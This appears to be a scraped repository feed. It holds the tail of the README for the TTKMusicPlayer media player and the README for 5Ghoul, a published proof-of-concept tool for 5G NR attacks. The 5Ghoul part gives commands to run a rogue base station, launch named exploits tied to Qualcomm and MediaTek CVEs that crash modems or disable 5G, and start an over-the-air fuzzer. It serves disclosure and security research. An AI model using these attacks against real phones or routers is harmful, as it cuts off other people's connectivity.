<li>Qt stable version is tested on Qt5.x for ubuntu-linux-gcc 64bit</li>
<li>Qt stable version is tested on Qt5.x for windows-mingw 32bit</li>
</ul>
<table>
<thead>
<tr>
<th align="center">Platform</th>
<th align="center">Qt & Compiler</th>
<th align="center">Status</th>
</tr>
</thead>
<tbody>
<tr>
<td align="center">Linux</td>
<td align="center">4.x GCC & 5.x GCC</td>
<td align="center"><img src="https://img.shields.io/badge/build-passing-brightgreen.svg?sanitize=true" alt="Linux"></td>
</tr>
<tr>
<td align="center">Windows</td>
<td align="center">4.x GCC & 5.x GCC</td>
<td align="center"><img src="https://img.shields.io/badge/build-passing-brightgreen.svg?sanitize=true" alt="Windows"></td>
</tr>
<tr>
<td align="center">Windows</td>
<td align="center">MSVC</td>
<td align="center"><img src="https://img.shields.io/badge/build-unknown-lightgrey.svg?sanitize=true" alt="Windows"></td>
</tr>
<tr>
<td align="center">OS X</td>
<td align="center">Clang</td>
<td align="center"><img src="https://img.shields.io/badge/build-unknown-lightgrey.svg?sanitize=true" alt="OSX"></td>
</tr>
</tbody>
</table>
<h1>For Developers</h1>
<h2>License</h2>
<p>TTKMusicPlayer is free software licensed under the term of <a href="https://github.com/Greedysky/TTKMusicPlayer/raw/master/LICENSE">Licence GPL v3</a>. If you use TTKMusicPlayer or its constituent libraries, you must adhere to the terms of the license in question.</p>
<h2>API Document</h2>
<p>You Can See Here: <strong><u><a href="https://greedysky.github.io/ttkdocs">https://greedysky.github.io/ttkdocs</a></u></strong></p>
<h2>Download</h2>
<p>Gitee URL: <strong><u><a href="https://gitee.com/Greedysky/TTKMusicplayer">https://gitee.com/Greedysky/TTKMusicplayer</a></u></strong></p>
<p>Github URL: <strong><u><a href="https://github.com/Greedysky/TTKMusicplayer">https://github.com/Greedysky/TTKMusicplayer</a></u></strong></p>
<p>Qmmp Source Player URL: <strong><u><a href="https://qmmp.ylsoftware.com">https://qmmp.ylsoftware.com</a></u></strong></p>
<p>Qmmp Source Mirror URL: <strong><u><a href="https://github.com/Greedysky/qmmp">https://github.com/Greedysky/qmmp</a></u></strong></p>
<p>Qmmp Source Modified URL: <strong><u><a href="https://github.com/Greedysky/TTKMusicPlayer/tree/plugins">https://github.com/Greedysky/TTKMusicPlayer/tree/plugins</a></u></strong></p>
<p>Qmmp Extra Plugins URL: <strong><u><a href="https://github.com/TTK-qmmp">https://github.com/TTK-qmmp</a></u></strong></p>
<p>Qmmp Core Modified Library URL: <strong><u><a href="http://pan.baidu.com/s/1bv4iSY">http://pan.baidu.com/s/1bv4iSY</a></u></strong></p>
<p>Player Base URL: <strong><u><a href="http://pan.baidu.com/s/1gdB5QLH">http://pan.baidu.com/s/1gdB5QLH</a></u></strong></p>
<p>Skin Download URL: <strong><u><a href="http://pan.baidu.com/s/1mh7AeG4">http://pan.baidu.com/s/1mh7AeG4</a></u></strong></p>
<p>Executable Download URL: <strong><u><a href="http://pan.baidu.com/s/1kVOHN0b">http://pan.baidu.com/s/1kVOHN0b</a></u></strong></p>
<h2>Features</h2>
<p>TTKMusicPlayer can meet your most demands</p>
<ul>
<li>Support for multiple music formats.</li>
<li>SID File(*.sid *.psid *.mus *.str *.p00 *.prg *.c64)</li>
<li>MusePack File(*.mpc)</li>
<li>WavPack File(*.wv)</li>
<li>Ogg Vorbis File(*.ogg *.ogv)</li>
<li>Ogg Opus File(*.opus)</li>
<li>ADTS AAC File(*.aac)</li>
<li>MIDI File(*.mid *.mus *.hmp *.hmi *.xmi)</li>
<li>PCM File(*.wav *.au *.snd *.aif *.aiff *.8svx *.sph *.sf *.voc *.w64)</li>
<li>CUE File(*.cue)</li>
<li>MPEG File(*.mp1 *.mp2 *.mp3)</li>
<li>Game Audio File(*.ay *.gbs *.gms *.gym *.hes *.kss *.nsf *.nsfe *.sap *.spc *.vgm *.vgz)</li>
<li>FLAC File(*.flac *.oga)</li>
<li>Monkey's Audio File(*.ape)</li>
<li>FFmpeg File(*.wma *.ape *.tta *.m4a *.m4b *.aac *.ra *.shn *.ac3 *.mka *.vqf *.tak *.spx *.adx *.aix *.wve *.sln *.paf *.pvf *.ircam *.gsm *.avr *.amr *.dsf *.dsdiff *.webm *.3g2 *.3gp *.asf *.avi *.f4v *.flv *.hevc *.m4v *.mov *.mp4 *.mpeg *.rm *.swf *.vob *.wtv)</li>
<li>OpenMPT File(*.669 *.ams *.amf *.c67 *.dsm *.dmf *.dbm *.digi *.dtm *.far *.fmt *.gdm *.it *.ice *.imf *.j2b *.mod *.mptm *.m15 *.mtm *.med *.mmd *.mmd0 *.mmd1 *.mmd2 *.mmd3 *.mdl *.mt2 *.mms *.mo3 *.mmcmp *.nst *.okt *.okta *.pt36 *.ptm *.psm *.plm *.ppm *.s3m *.stm *.stk *.st26 *.sfx *.sfx2 *.stp *.ult *.umx *.wow *.xm *.xpk *.mdr *.s3r *.xmr *.itr *.mdz *.s3z *.xmz *.itz *.mdgz *.s3gz *.xmgz *.itgz *.mdbz *.s3bz *.xmbz *.itbz)</li>
<li>Unix Amiga Delitracker Emulator File(*.aam *.amc *.aon *.aon8 *.aps *.ash *.ast *.avp *.bd *.bds *.bsi *.bss *.bye *.cm *.core *.cust *.dh *.dl *.dlm1 *.dlm2 *.dln *.dm *.dm2 *.dmu *.doda *.dsc *.dsr *.dss *.dw *.dz *.ea *.ems *.emsv6 *.ex *.fp *.fred *.fw *.glue *.gmc *.gray *.hd *.hip *.hip7 *.hipc *.hot *.ims *.is *.is20 *.jam *.jcb *.jcbo *.jd *.jmf *.jo *.jpo *.jt *.kh *.kim *.kris *.lion *.lme *.ma *.mc *.mcmd *.mco *.md *.mii *.mk2 *.mkii *.ml *.mm8 *.mmdc *.mok *.mon *.mosh *.mso *.mug *.mug2 *.mw *.ntp *.pap *.pn *.ps *.psa *.psf *.pt *.puma *.pvp *.rh *.rho *.riff *.rmc *.s7g *.sa *.sas *.sb *.sc *.scn *.scr *.sct *.scumm *.sdr *.sg *.sid1 *.sid2 *.sm *.sm3 *.smn *.smpro *.sng *.snk *.soc *.sog *.spl *.sqt *.ss *.sun *.syn *.synmod *.tcb *.tf *.tfmx *.thx *.tits *.tme *.tro *.tronic *.tw *.ufo *.vss *.wb *.smus *.snx *.tiny *.adsc *.dat *.dum *.osp *.dns *.jpn *.jpnd *.max *.mcr *.mfp *.npp *.pat *.qpa *.qts *.sjs *.thm *.tmk *.tpu *.uds)</li>
<li>RSN Archive File(*.rsn *.rps *.rdc *.rds *.rgs *.r64)</li>
<li>7z Archive File(*.7z *.xz *.bz2 *.gz *.tar *.zip *.wim *.ar *.arj *.cab *.chm *.cpio *.cramfs *.dmg *.ext *.fat *.gpt *.hfs *.ihex *.iso *.lzh *.lzma *.mbr *.msi *.nsis *.ntfs *.qcow2 *.rar *.rpm *.squashfs *.udf *.uefi *.vdi *.vhd *.vmdk *.xar *.z)</li>
<li>AdLib Sound File(*.a2m *.adl *.adlib *.agd *.amd *.as3m *.bam *.bmf *.cff *.cmf *.d00 *.dfm *.dmo *.dro *.dtm *.got *.ha2 *.hsc *.hsq *.hsp *.imf *.ims *.jbm *.laa *.lds *.m *.mad *.mdi *.mkj *.msc *.mtk *.mus *.rac *.rad *.raw *.rix *.s3m *.sa2 *.sat *.sdb *.sng *.sop *.sqx *.xad *.xms *.xsm *.vgm *.vgz *.wlf *.ksm *.rol *.sci)</li>
<li>XMP File(*.abk *.dsym *.emod *.fnk *.gtk *.ims *.liq *.mfp *.mgt *.rtm *.tcb *.xmf)</li>
<li>Another Slight Atari File(*.cm3 *.cmc *.cmr *.cms *.dlt *.dmc *.fc *.mpd *.mpt *.rmt *.sap *.tm2 *.tm8 *.tmc)</li>
<li>DTS Coherent Acoustics File(*.dts *.cpt)</li>
<li>Future Composer File(*.fc *.fc13 *.fc14 *.smod)</li>
<li>OptimFrog File(*.ofr *.ofs)</li>
<li>Audio Overload File(*.pcm *.msu *.spu *.psf *.ssf *.qsf *.dsf *.psf2 *.minipsf *.minissf *.miniqsf *.minidsf *.minipsf2 *.2sf *.mini2sf *.gsf *.minigsf *.usf *.miniusf *.ncsf *.minincsf *.snsf *.minisnsf)</li>
<li>S98 Audio File(*.s98 *.cym *.mym *.x1f)</li>
<li>Atari ST(E) And Amiga File(*.sc68 *.snd *.sndh)</li>
<li>Speex Audio File(*.spx)</li>
<li>V2 Player File(*.v2m)</li>
<li>AY/YM Audio File(*.asc *.ay *.emul *.sqt *.st13 *.stc *.stp *.stp2 *.psc *.psg *.pt1 *.pt2 *.pt3 *.vtx *.zxs)</li>
<li>ST-Sound File(*.ym)</li>
<li>SunVox Audio File(*.sunvox)</li>
<li>Hively Audio File(*.ahx *.hvl)</li>
<li>BP SoundMon Audio File(*.bp *.bp3)</li>
<li>Ken Silverman's Audio File(*.kdm *.ksm *.sm *.snd)</li>
<li>XMDX Game Audio File(*.mdx *.pdx *.m *.mub *.muc *.vgs *.bgm *.mml)</li>
<li>Cave Story's org Audio File(*.org *.pttune *.ptcop)</li>
<li>Final Music System Tracker Module File(*.tfm *.tfmx *.mdat *.tfx)</li>
<li>Playlist formats(tkpl, m3u, m3u8, pls, wpl, xspf, jspf, asx, fpl, dbpl, csv, txt)</li>
<li>Junior fans interface. Interface cool, gorgeous pop. Maintaining a perfect performance under Vista and XP, refreshing Screenshots.</li>
<li>Search and high-speed downloads. Song search accuracy optimization, intelligent save bandwidth, you can disable the network function.</li>
<li>It supports local playback, compatible with all audio files, super perfect sound, music and more appealing.</li>
<li>User-friendly design. Attention to detail design, personalize, simple operation, found music more convenient.</li>
<li>Personalized cell phone ringtones. Ringtones DIY, so you have personalized ringtones.</li>
<li>Personalized skin. DIY your own personalized skin, creating a only part of your skin.</li>
<li>Music cube model. After entering the mini mode, it will remain in your desktop a "Clover" shaped icon, you can freely drag the desktop, you want to control the player, cut songs, play, lyrics control, volume adjustment in control.</li>
<li>Colorful custom skin. You can select skin color, set the transparency of freedom, and support transparent frosted glass (Windows Aero effects).</li>
<li>Search Download Manager. Search Results tab merger - all of the search results tab concentrated under one label, make operation easier.</li>
<li>Local music search, and cloud music library and interactive.</li>
<li>Support converting different music formats, and can change the sound as like Tom Cat, also can enhance the sound.</li>
<li>Local music transferred to the cloud or mobile device.</li>
<li>Local music and the human voice humming recognition.</li>
<li>Music song, artist, album, playlist, toplist and movie search supported.</li>
<li>Music DSP effects and Visual effects supported.</li>
<li>Music song spectrum(projectm, goom, sonique, florid, wavebar) and test supported.</li>
<li>Music replay gain scan and write supported.</li>
<li>Music screen saver supported.</li>
<li>MPRIS D-Bus interface specification supported.</li>
<li>MMS and online fm radio supported.</li>
</ul>
<h2>Screenshots</h2>
<h3>Index</h3>
<p><img src="https://github.com/Greedysky/Resource/raw/master/Screen/1.jpg?raw=true" alt="Index"></p>
<h3>Search</h3>
<p><img src="https://github.com/Greedysky/Resource/raw/master/Screen/2.jpg?raw=true" alt="Search"></p>
<h3>Lrc</h3>
<p><img src="https://github.com/Greedysky/Resource/raw/master/Screen/3.jpg?raw=true" alt="Lrc"></p>
<h3>Desktop Lrc</h3>
<p><img src="https://github.com/Greedysky/Resource/raw/master/Screen/4.jpg?raw=true" alt="Desktop Lrc"></p>
<h3>Remote Controller</h3>
<p><img src="https://github.com/Greedysky/Resource/raw/master/Screen/5.jpg?raw=true" alt="Remote Controller"></p>
<h3>Lrc Display Expand</h3>
<p><img src="https://github.com/Greedysky/Resource/raw/master/Screen/6.jpg?raw=true" alt="Lrc Display Expand"></p>
<h3>Movie</h3>
<p><img src="https://github.com/Greedysky/Resource/raw/master/Screen/7.jpg?raw=true" alt="Movie"></p>
<h3>Video Barrage</h3>
<p><img src="https://github.com/Greedysky/Resource/raw/master/Screen/8.jpg?raw=true" alt="Video Barrage"></p>
<h3>Magic Music</h3>
<p><img src="https://github.com/Greedysky/Resource/raw/master/Screen/9.jpg?raw=true" alt="Magic Music"></p>
<h3>Other Tools</h3>
<p><img src="https://github.com/Greedysky/Resource/raw/master/Screen/10.jpg?raw=true" alt="Other Tools"></p>
<h3>Spectrum</h3>
<p><img src="https://github.com/Greedysky/Resource/raw/master/Screen/11.jpg?raw=true" alt="Spectrum"></p>
<h3>Other Functions</h3>
<p><img src="https://github.com/Greedysky/Resource/raw/master/Screen/12.jpg?raw=true" alt="Other Functions"></p>
<h2>Copyright</h2>
<ul>
<li>This file is part of the TTK Music Player project.</li>
<li>Copyright (C) 2015 - 2023 Greedysky Studio.</li>
<li>Mail: <a href="mailto:greedysky@163.com">greedysky@163.com</a>.</li>
</ul>
<h2>How To Contribute</h2>
<ul>
<li>Fork this project on github and make a branch. Commit in that branch, and push, then create a pull request to be reviewed and merged.</li>
<li>Create an issue if you have any problem when using project or you find a bug, etc.</li>
<li>What you can do: translation, write document, wiki, find or fix bugs, give your idea for this project etc.</li>
<li>If you want to join the project developed together, please send e-mail to me.</li>
</ul>
-
-
- asset-group/5ghoul-5g-nr-attacks
- 2023-12-12T01:45:32Z
- tag:github.com,2023-12-12:/asset-group/5ghoul-5g-nr-attacks
-
- <p></p><hr><h1>5Ghoul - 5G NR Attacks & 5G OTA Fuzzing</h1>
<blockquote>
<p>Proof of Concept (PoC) of 5G NR Attacks against commercial smartphones, CPE routers, USB Modems, etc. Fuzzer included⚡. 5Ghoul is family of implementation-level 5G DoS vulnerabilities affecting <strong>Qualcomm</strong> and <strong>MediaTek</strong> mobile platforms. For more details, see <a href="https://asset-group.github.io/disclosures/5ghoul/">https://asset-group.github.io/disclosures/5ghoul/</a></p>
</blockquote>
<p><img src="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/docs/figures/attack_overview_with_output.png" alt="attack_overview_with_output"></p>
<hr>
<p><strong>Table of Contents</strong></p>
<ol>
<li> <p><a href="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/#1--requirements">📋 Requirements</a></p> </li>
<li> <p><a href="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/#2--quick-start">⏩ Quick Start</a></p> </li>
<li> <p><a href="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/#3-%EF%B8%8F-launching-a-5ghoul-attack">☢️ Launching a 5Ghoul attack</a></p> <p>3.1. <a href="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/#31-summary-of-available-attacks">Summary of Available Attacks</a></p> <p>3.2. <a href="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/#32-create-your-own-5g-exploit">Create your own 5G exploit</a></p> </li>
<li> <p><a href="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/#4--running-the-5g-nr-fuzzer">🔀 Running the 5G NR Fuzzer</a></p> </li>
<li> <p><a href="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/#5-%EF%B8%8F-optional-build-5ghoul-software-from-source">🛠️ (Optional) Build <em>5Ghoul</em> software from source</a></p> </li>
<li> <p><a href="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/#6-%EF%B8%8F-advanced-options-wip">⚙️ Advanced Options (WIP)</a></p> </li>
<li> <p><a href="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/#7-%EF%B8%8F-third-party-5g-software-stacks">✉️ Third-Party 5G Software Stacks</a></p> </li>
</ol>
<hr>
<h1>1. 📋 Requirements</h1>
<ul>
<li> <p><strong>Software:</strong> The binary release has been tested and confirmed to work on bare-metal Ubuntu 18.04. However a docker container is provided to run <em>5Ghoul PoC & Fuzzer</em> in <strong>any Linux based OS capable of running Docker</strong>. We have validated the container in <code>Docker version 24.0.2</code>. Note that <strong>we do not recommend using any virtual machine</strong> since the latency of USB3 needs to be kept as low as possible.</p> </li>
<li> <p><strong>Hardware:</strong></p>
<ul>
<li> <p><strong>USRP B210:</strong> Use of a software-defined-radio (SDR) is required. We recommend the use of <strong><a href="https://www.ettus.com/all-products/ub210-kit/">USRP B210</a></strong>, which can be acquired directly from ETTUS. However, <em>5Ghoul PoC & Fuzzer</em> relies on OpenAirInterface 5G software stack, which can work with other <a href="https://gitlab.eurecom.fr/oai/openairinterface5g/-/wikis/OpenAirSystemRequirements#supported-rf">other SDRs</a> that might also work with our PoC.</p> <p align="center"><img src="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/docs/figures/sdr-usrpb210.png" alt="sdr-usrpb210" width="150" height="auto"></p> </li>
</ul> </li>
</ul>
<p align="center"> <a href="https://www.ettus.com/all-products/ub210-kit/">ETTUS USRP B210</a> Software Defined Radio (SDR) </p>
<ul>
<li> <p><strong>(Optional) Programmable SIM Card:</strong> Some phones do not connect to arbitrary networks without a testing SIM card (001/01 MCC and MNC respectively). To this end, we recommend using a programmable <a href="https://sysmocom.de/products/sim/sysmousim/index.html">SIM card from Sysmocom</a> so you can configure its home network to 001/01.</p> <p align="center"><img src="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/docs/figures/sim_cards.png" alt="sim_cards" width="130" height="auto"></p> </li>
</ul>
<p align="center"><a href="https://sysmocom.de/products/sim/sysmousim/index.html#">SysmoISIM-SJA2</a> programmable SIM/USIM/ISIM cards</p>
<p></p>
<h1>2. ⏩ Quick Start</h1>
<p>To get started with <em>5Ghoul PoC</em>, we recomend usage of <strong>5Ghoul Container</strong>, available in our docker hub. To simplify its usage, we created a wrapper script to run the container with all the required docker arguments:</p>
<pre><code class="language-bash">mkdir 5ghoul # Create 5ghoul folder
curl -LJO https://github.com/asset-group/5ghoul-5g-nr-attacks/raw/master/container.sh
chmod +x container.sh # Give exec. permission to the 5Ghoul container script
./container.sh release-5g # This will pull and start the terminal of the 5Ghoul container
sudo bin/5g_fuzzer --MCC=001 --MNC=01 # This will start the rogue base station inside the container
</code></pre>
<p>The final command above (<code>sudo bin/5g_fuzzer ...</code>) will start the rogue base station without any attack. Therefore, you can use this to verify if the connection between the rogue base station and the smartphone works in first place. Once the smartphone attempts to connect to the rogue base station, the <em>5Ghoul PoC</em> will indicate such connection by printing the message <code>"[!] 1/2 UE connected to eNB/gNB"</code>. This message indicates that your setup is working and ready to launch attacks.</p>
<p><img src="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/docs/figures/normal-connection.svg?sanitize=true" alt="normal-connection"></p>
<h1>3. ☢️ Launching a 5Ghoul attack</h1>
<p>To put it simply, you can just run the following command after connecting USRP B210 to your PC/Laptop:</p>
<pre><code class="language-bash">sudo ./bin/5g_fuzzer --exploit=mac_sch_rrc_setup_crash_var --MCC=001 --MNC=01
</code></pre>
<p>Once the 5Ghoul PoC runs, it will start a rogue base station (gNB) using the provided MCC and MNC by the command line. You can attempt to connect to this rogue base station by inserting a compatible testing SIM card and scanning for operator networks in Android mobile connectivity settings. More details on this is provided in Section Phone Configuration.</p>
<p>When the smartphone connects to the rogue base station and an attack is launched, the terminal will print messages such as <code>"Malformed rrc setup sent!"</code>. These messages depend on the chosen exploit script. The Figure below exemplifies the expected output for the <em>5Ghoul</em> vulnerability <strong>V7</strong>, which disables the 5G connection of the smartphone. In this context, the smartphone won't be able to reconnect to the rogue base station and message<code> "Target is not responding"</code> is printed if no communication with the smartphone is possible after 45 seconds.</p>
<p><img src="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/docs/figures/poc-attack-v7.svg?sanitize=true" alt="poc-attack-v7"></p>
<h2>3.1. Summary of Available Attacks</h2>
<p>Currently, <em>5Ghoul</em> PoC has 12 exploits available. The correspondence between the exploit name and <em>5Ghoul</em> vulnerability is shown in the Table below.</p>
<table>
<thead>
<tr>
<th>5Ghoul Vulnerability Name</th>
<th>Exploit Script Name</th>
<th>CVE</th>
</tr>
</thead>
<tbody>
<tr>
<td>V1 - Invalid PUSCH Resource Allocation</td>
<td><strong>TBA</strong></td>
<td>Pending</td>
</tr>
<tr>
<td>V2 - Empty RRC dedicatedNAS-Message</td>
<td><strong>TBA</strong></td>
<td>Pending</td>
</tr>
<tr>
<td>V3 - Invalid RRC Setup</td>
<td><em>mac_sch_rrc_setup_crash</em></td>
<td>N.A (Patched)*</td>
</tr>
<tr>
<td>V4 - Invalid RRC Reconfiguration</td>
<td><em>mac_sch_rrc_reconfiguration_crash</em></td>
<td>N.A (Patched)*</td>
</tr>
<tr>
<td>V5 - Invalid MAC/RLC PDU</td>
<td><em>mac_sch_mac_rlc_crash</em></td>
<td>CVE-2023-33043</td>
</tr>
<tr>
<td>V6 - NAS Unknown PDU</td>
<td><em>mac_sch_nas_unknown_pdu_crash</em></td>
<td>CVE-2023-33044</td>
</tr>
<tr>
<td>V7 - Disabling 5G / Downgrade via RRC</td>
<td><em>mac_sch_rrc_setup_crash_var</em></td>
<td>CVE-2023-33042</td>
</tr>
<tr>
<td>V8 - Invalid RRC Setup spCellConfig</td>
<td><em>mac_sch_mtk_rrc_setup_crash_4</em></td>
<td>CVE-2023-32842</td>
</tr>
<tr>
<td>V9 - Invalid RRC pucch CSIReportConfig</td>
<td><em>mac_sch_mtk_rrc_setup_crash_2</em></td>
<td>CVE-2023-32844</td>
</tr>
<tr>
<td>V10 - Invalid RLC Data Sequence</td>
<td><em>mac_sch_mtk_rlc_crash</em></td>
<td>CVE-2023-20702</td>
</tr>
<tr>
<td>V11 - Truncated RRC physicalCellGroupConfig</td>
<td><em>mac_sch_mtk_rrc_setup_crash_6</em></td>
<td>CVE-2023-32846</td>
</tr>
<tr>
<td>V12 - Invalid RRC searchSpacesToAddModList</td>
<td><em>mac_sch_mtk_rrc_setup_crash_1</em></td>
<td>CVE-2023-32841</td>
</tr>
<tr>
<td>V13 - Invalid RRC Uplink Config Element</td>
<td><em>mac_sch_mtk_rrc_setup_crash_3</em></td>
<td>CVE-2023-32843</td>
</tr>
<tr>
<td>V14 - Null RRC Uplink Config Element</td>
<td><em>mac_sch_mtk_rrc_setup_crash_7</em></td>
<td>CVE-2023-32845</td>
</tr>
<tr>
<td>DA1 - NAS Flooding Downgrade</td>
<td><strong>TBA</strong></td>
<td>N.A</td>
</tr>
</tbody>
</table>
<ul>
<li>Vulnerabilities <strong>V3,V4</strong> do not seem to affect Qualcomm modems with firmware version dated since 2021.</li>
</ul>
<p>You can list the name of all existing <em>5Ghoul</em> exploits by passing the argument <code>--list-exploits</code> as shown below:</p>
<pre><code class="language-bash">sudo bin/5g_fuzzer --list-exploits
...
Available Exploits:
--> mac_sch_mtk_rrc_setup_crash_3 Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205]
--> mac_sch_mtk_rrc_setup_crash_7 Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205]
--> mac_sch_rrc_setup_crash Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205]
--> mac_sch_mtk_rrc_setup_crash_4 Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205]
--> mac_sch_rrc_setup_crash_var Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205]
--> mac_sch_mtk_rrc_setup_crash_2 Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205]
--> mac_sch_mac_rlc_crash Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205]
--> mac_sch_mtk_rlc_crash Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205]
--> mac_sch_nas_unknown_pdu_crash Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205]
--> mac_sch_mtk_rrc_setup_crash_6 Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205]
--> mac_sch_mtk_rrc_setup_crash_1 Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205]
--> mac_sch_rrc_reconfiguration_crash Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205]
</code></pre>
<h2>3.2. Create your own 5G exploit</h2>
<blockquote>
<p>WIP - Documentation on 5G test-case creation to be added soon.</p>
</blockquote>
<h1>4. 🔀 Running the 5G NR Fuzzer</h1>
<p>The <em>5Ghoul</em> fuzzer supports running in CLI mode or graphical interface. To run in graphical interface, simply add the <code>--gui</code> argument when calling the <code>5g_sa</code> binary. You can start the fuzzer as follows:</p>
<pre><code class="language-bash">sudo bin/5g_fuzzer --MCC=001 --MNC=01 --EnableMutation=true # Run fuzzer in command line interface mode (CLI)
</code></pre>
<p>Upon successful connectivity with the smartphone or modem, the 5G fuzzer highlights mutated (fuzzed) downlink PDUs in purple. Concurrently, a live capture of the over-the-air communication between the smartphone (UE) and the rogue base station (gNB performing the fuzzing) is shown to the user. Furthermore, the communication trace and logs are saved to <code>logs/5gnr_gnb</code> .</p>
<p><img src="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/docs/figures/fuzzing-live.gif" alt=""></p>
<p>The tool also has a graphical interface that is mostly used for development and troubleshooting the 5G connection or showcasing attack or fuzzing demos ✌. An example of the <em>5Ghoul</em> GUI is shown below.</p>
<pre><code class="language-bash">sudo bin/5g_fuzzer --MCC=001 --MNC=01 --EnableMutation=true --gui # Run with graphical user interface (GUI)
</code></pre>
<p><img src="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/docs/figures/fuzzer-gui.png" alt="fuzzer-gui"></p>
<h1>5. 🛠️ (Optional) Build <em>5Ghoul</em> software from source</h1>
<p>Several requirements need to be installed before compiling the project. An automated script for Ubuntu 18.04/20.04 is provided on <code>requirements.sh</code>. To compile from source, simply run the following commands:</p>
<pre><code class="language-bash">git clone https://github.com/asset-group/5ghoul-5g-nr-attacks
cd 5ghoul-5g-nr-attacks
./requirements.sh 5g # Install all system requirements to compile 5ghoul fuzzer, OpenAirInterface and Open5GS
./build.sh all # Compile all binaries + Wireshark. It may take around 20min. Go get a coffe!
./build.sh # (Optional) Compile all binaries without Wireshark.
</code></pre>
<p>The expected output during the build process is shown below:</p>
<p><img src="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/docs/figures/5ghoul-build-output.svg?sanitize=true" alt="5ghoul-build-output"></p>
<h1>6. ⚙️ Advanced Options (WIP)</h1>
<p>You can list all options of 5Ghoul PoC by running it with <code>--help</code> argument as shown below:</p>
<pre><code class="language-bash">sudo bin/5g_fuzzer --help
Fuzzer for 5G NR User Equipment (UE) - MAC-NR, PDCP-NR, RLC-NR, NAS-5GS
Usage:
lte_fuzzer [OPTION...]
-h, --help Print help
--default-config Start with default config
-g, --gui Open Graphical User Interface (GUI)
Fuzzing:
--EnableDuplication
--EnableMutation (default: true)
--EnableOptimization (default: true)
--DefaultDuplicationProbability arg
(default: 0.200000)
--DefaultMutationProbability arg
(default: 0.200000)
--DefaultMutationFieldProbability arg
(default: 0.100000)
--FieldMutationBackoffMultipler arg
(default: 0.500000)
--MaxFieldsMutation arg (default: 2)
--NormalizeProtocolLayersMutation
--MaxDuplicationTimeMS arg
(default: 6000)
--PacketRetry
--PacketRetryTimeoutMS arg
(default: 2500)
--GlobalTimeout (default: true)
--GlobalTimeoutSeconds arg
(default: 45)
--StateLoopDetection
--StateLoopDetectionThreshold arg
(default: 5)
--RandomSeed arg (default: 123456789)
--SeedIncrementEveryIteration
(default: true)
--RestoreSessionOnStartup
--SaveSessionOnExit
--Selector arg (default: 0)
--Mutator arg (default: 1)
Modules:
--exploit arg Launch Exploit
--list-exploits List Available Exploits
--list-exploits-groups List Exploit Groups (Debug)
--list-exploits-prefixes List Exploit Prefixes (Debug)
NR5G:
--MCC arg (default: 001)
--MNC arg (default: 01)
--AutoStartBaseStation (default: true)
--AutoStartCoreNetwork (default: true)
--BaseStationConfigFile arg
(default: n78.106.conf)
--BaseStationArguments arg
(default: --sa --continuous-tx -E)
--CoreNetworkConfigFile arg
(default: open5gs.yaml)
--EnableSimulator
--SimulatorDelayUS arg (default: 2000)
--SimulationConnectionTimeoutMS arg
(default: 1000)
--SimulatorUEArguments arg
(default: -r 106 --numerology 1 --band 78
-E -C 3619200000 --rfsim --sa --ssb 516)
Options:
--DefaultProtocolName arg
(default: proto:mac-nr-framed)
--DefaultProtocolEncapName arg
(default: encap:1)
--SaveProtocolCapture (default: true)
--LiveProtocolCapture
--SaveLogsToFile (default: true)
--SaveLatencyMetrics
--SkipPacketProcessing
--Program arg (default: 1)
--AutoStartProgram (default: true)
--AutoRestartProgram
--LaunchProgramWithGDB
--MainThreadCore arg (default: -1)
--SaveCoreDump
UEModemManager:
--APN arg (default: internet)
--AllowedModes arg (default: 4g|5g)
--PreferredMode arg (default: 5g)
--Bands arg (default: ngran-78)
--DisableFuzzingOnFirstConnection
(default: true)
--AutoConnectModem (default: true)
--ConnectionTimeoutMS arg
(default: 4000)
--UseOnlyATConnections
--AutoConnectToAPN (default: true)
--ManualAPNConnection
--ManualAPNConnectionDelayMS arg
(default: 0)
--AutoReconnectModem (default: true)
--ResetModemOnGlobalTimeout
(default: true)
--GlobalTimeoutsCount arg
(default: 3)
--DefaultModemInterfacePath arg
(default: /dev/cdc-wdm1)
--AutoSearchModemInterfacePath
(default: true)
--UseInUSBIPHostSSH
--EnableADB (default: true)
--ADBDevice arg (default: R5CT720QT7H)
--ADBPIN arg (default: 123123)
</code></pre>
<h1>7. ✉️ Third-Party 5G Software Stacks</h1>
<p><em>5Ghoul PoC & Fuzzer</em> is built upon well known protocols stack implementation. These are used to generate messages and to guide the target device towards a set of protocol procedures which are expected to be tested again unknown or insecure behaviour.</p>
<ul>
<li>Implementation of Network Layers 1-2 <code>5G MAC, RRC, RLC and PDCP</code>:
<ul>
<li>Base Station (gNB) - <a href="https://gitlab.eurecom.fr/oai/openairinterface5g/-/tree/develop">Open Air Interface</a> (Open Source)</li>
</ul> </li>
<li>Implementation of Layer 3 and above <code>NAS, IPV4, etc</code>:
<ul>
<li>5G Core Network - <a href="https://github.com/open5gs/open5gs">Open5GS</a> (Open Source)</li>
</ul> </li>
